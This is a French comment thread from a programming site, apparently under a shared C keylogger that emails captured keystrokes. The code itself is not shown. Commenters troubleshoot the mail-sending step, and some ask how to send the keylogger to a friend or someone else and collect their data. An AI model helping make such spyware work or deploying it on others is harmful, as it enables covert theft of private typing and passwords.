compilation avec dev c++ impeccable, ce petit log est vraiment sympa =)

le seul binz, c'est que l'envoi de mail ne se fait po...
j'ai bataillé grave pour modifier comme j'ai pu les parametres en changeant de smtp et d'adresses mail correspondant à ces smtp...
ya rien à faire cé domage. Quelqu'un aurait il une remarque constructive ?

j'aime vraiment ce ptit programme mais si il fonctionnait ce serait encore mieux...

a+

Commentaire de CodeTaker le 11/07/2010 19:47:23

question: ou est ce que tu a aprris a faire ça ? si tu fais pas ça comme métier.

Commentaire de bisnn le 27/08/2010 22:23:55

pour que l'envoi de mail se fasse a priori il manque un " MailIt() "

ceci dit je ne m'y connais pas assez en C pour en dire plus... j'ai réussi a lui faire envoyer des mails mais ces derniers arrivent vides.

Commentaire de zak68200 le 24/06/2011 08:37:32

salut je suis un noob est je voudrais envoyer un keylogger a  mon pote pck il me soul lol donc si quel qu'un a un petit moment a me consacré merci

Commentaire de jerkey le 02/11/2011 17:27:44

Je sais pas chez vous, mais moi, quand j'essaye de build pour avoir le exe pour compiler (avec code block) ça me met une erreur a la 256eme ligne...

Commentaire de wilybonano le 14/11/2011 11:24:17 9/10

cool!

Commentaire de Wendy06 le 10/02/2012 01:38:43

bonsoir , comment on fait pour lenvoyé a quelqun on procéde coment svp et comment recois ton ces info  ? merci

 Ajouter un commentaire


Discussions en rapport avec ce code source dans le forum

envoie de mail kand clic sur une application .... [ par gijo ] je debute en c++ et j aimerais creer un programme permettant de recevoir un mail au moment où quelqu' un clic sur une application déterminé .... j esp Prog C - Envoie de mail auto avec piece jointe - Projet a 98% terminé.... [ par JimyRyan ] BonjourJ'ai écrit un programme en C (mode Texte pour le moment) qui ce charge d'envoier un mail automatiquement a une liste de personnes.Le mail ainsi Envoie de mail [ par lolo007 ] Bonjour &#224; tousVoila dans le cadre d'un projet, il faudrait que je developpe une sous partie qui me permettrait denvoeyr un mail.Mais je ne sais p envoie de touches fictives du clavier [ par semenzato ] Bonjour , je voudrais savoir comment envoyer des touches fictives du clavier à la fenetre de dialogue principalemerci envoie mail en c sous linux [ par vw91 ] Bonjour,Je suis a la recherche d'un programme c sous linux qui envoie des mails, car je ne comprends pas comment fonctionne les sockets.J'espere que v envoie e-mail en c++ avec visual c++6 [ par tsii ] si quelqu'un a du code et des explication qui montre comment programmer l'envoyer d'un e-mailmercie Envoie de mail en C++ [ par lolo007 ] Bonjour a tous.Voila, je develloppe un projet en c++.Un de mes objectifs est d'envoyer un mail d'alerte. (Peut un porte le contenu).Mes voila, je n'ai envoie de mail [ par dacor ] Bonjour,   je cherche une libraire c++ pour envoyer des mails merci Envoie automatique d'un mail [ par conservatoire ] Bonjour!!Je voudrais savoir si il est possible de faire en sorte qu'un programme envoie un mail a une adresse donnée .si oui peut on aussi joindre un Problème d'envoi d'email [ par pdc_666 ] Bonjour à tous voilà mon problème. Je dois envoyé des mails dans mon appli, j'ai déja un module qui me permet d'envoyé des mail en passant par un serv


Nos sponsors


Sondage...

CalendriCode

Février 2012
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
272829    

Consulter la suite du CalendriCode

Photothèque

 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 1,139 sec (3)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales